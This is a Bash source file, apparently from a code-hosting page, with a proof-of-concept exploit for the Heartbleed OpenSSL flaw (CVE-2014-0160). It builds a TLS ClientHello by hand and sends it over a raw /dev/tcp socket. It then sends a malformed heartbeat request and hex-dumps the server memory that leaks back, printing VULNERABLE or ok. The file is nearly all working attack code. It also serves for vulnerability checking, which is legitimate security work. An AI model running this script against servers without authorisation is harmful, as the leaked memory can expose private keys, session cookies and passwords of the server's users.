146 lines
4.0 KiB
Bash
146 lines
4.0 KiB
Bash
#!/bin/bash
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# POC bash socket implementation of heartbleed (CVE-2014-0160), see also http://heartbleed.com/
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# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt
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#
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# sockets inspired by http://blog.chris007.de/?p=238
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# heartbleed mainly adapted from https://gist.github.com/takeshixx/10107280
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#
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###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######
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NODE=""
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SLEEP=2
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COL_WIDTH=32
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[ -z "$1" ] && exit 1
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# TLS 1.0=x01 1.1=0x02, 1.2=0x3
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# the PoC contains per default only check for TLS1.0 as the is the least common denominator
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TLSV=${2:-x01}
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heartbleed_payload="\x18\x03\tls_version\x00\x03\x01\x40\x00"
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## ^^^^^^^ this is the thing!
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client_hello="
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# TLS header ( 5 bytes)
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,x16, # Content type (x16 for handshake)
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x03, tls_version, # TLS Version
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x00, xdc, # Length
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# Handshake header
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x01, # Type (x01 for ClientHello)
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x00, x00, xd8, # Length
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x03, tls_version, # TLS Version
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# Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
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x53, x43, x5b, x90, x9d, x9b, x72, x0b,
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xbc, x0c, xbc, x2b, x92, xa8, x48, x97,
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xcf, xbd, x39, x04, xcc, x16, x0a, x85,
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x03, x90, x9f, x77, x04, x33, xd4, xde,
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x00, # Session ID length
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x00, x66, # Cipher suites length
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# Cipher suites (51 suites)
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xc0, x14, xc0, x0a, xc0, x22, xc0, x21,
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x00, x39, x00, x38, x00, x88, x00, x87,
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xc0, x0f, xc0, x05, x00, x35, x00, x84,
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xc0, x12, xc0, x08, xc0, x1c, xc0, x1b,
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x00, x16, x00, x13, xc0, x0d, xc0, x03,
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x00, x0a, xc0, x13, xc0, x09, xc0, x1f,
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xc0, x1e, x00, x33, x00, x32, x00, x9a,
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x00, x99, x00, x45, x00, x44, xc0, x0e,
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xc0, x04, x00, x2f, x00, x96, x00, x41,
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xc0, x11, xc0, x07, xc0, x0c, xc0, x02,
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x00, x05, x00, x04, x00, x15, x00, x12,
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x00, x09, x00, x14, x00, x11, x00, x08,
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x00, x06, x00, x03, x00, xff,
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x01, # Compression methods length
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x00, # Compression method (x00 for NULL)
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x00, x49, # Extensions length
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# Extension: ec_point_formats
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x00, x0b, x00, x04, x03, x00, x01, x02,
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# Extension: elliptic_curves
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x00, x0a, x00, x34, x00, x32, x00, x0e,
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x00, x0d, x00, x19, x00, x0b, x00, x0c,
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x00, x18, x00, x09, x00, x0a, x00, x16,
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x00, x17, x00, x08, x00, x06, x00, x07,
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x00, x14, x00, x15, x00, x04, x00, x05,
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x00, x12, x00, x13, x00, x01, x00, x02,
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x00, x03, x00, x0f, x00, x10, x00, x11,
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# Extension: SessionTicket TLS
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x00, x23, x00, x00,
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# Extension: Heartbeat
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x00, x0f, x00, x01, x01
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"
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msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'`
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parse_hn_port() {
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PORT=443 # unless otherwise auto-determined, see below
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NODE="$1"
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# strip "https", supposed it was supplied additionally
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echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' `
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# strip trailing urlpath
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NODE=`echo $NODE | sed -e 's/\/.*$//'`
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# determine port, supposed it was supplied additionally
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echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed
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's/\:.*$//'`
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}
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socksend() {
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data=`echo $1 | sed 's/tls_version/'"$2"'/g'`
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echo "\"$data\""
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echo -en "$data" >&5 &
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sleep $SLEEP
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}
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sockread()
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{
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reply=`dd bs=$1 count=1 <&5 2>/dev/null`
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}
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#### main
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parse_hn_port "$1"
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if ! exec 5<> /dev/tcp/$NODE/$PORT; then
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echo "`basename $0`: unable to connect to $NODE:$PORT"
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exit 2
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fi
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# socket is now open with fd 5
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echo "##### sending client hello:"
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socksend "$msg" $TLSV
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sockread 16384
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echo "##### server hello:"
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echo -e "$reply" | xxd | head -20
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echo "[...]"
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echo
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echo "##### sending payload with TLS version $TLSV:"
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socksend $heartbleed_payload $TLSV
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sockread 65534
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echo "###### heartbleed reply: "
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echo -e "$reply" | xxd -c$COL_WIDTH
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echo
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lines_returned=`echo -e "$reply" | xxd | wc -l`
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if [ $lines_returned -gt 1 ]; then
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tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0
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ret=1
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else
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tput bold; tput setaf 2; echo "ok"; tput sgr0
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ret=0
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fi
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echo
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exit $ret
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# vim:tw=100:ts=5:sw=5
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# $Id: bash-heartbleed.sh,v 1.6 2014/04/18 12:01:19 dirkw Exp $
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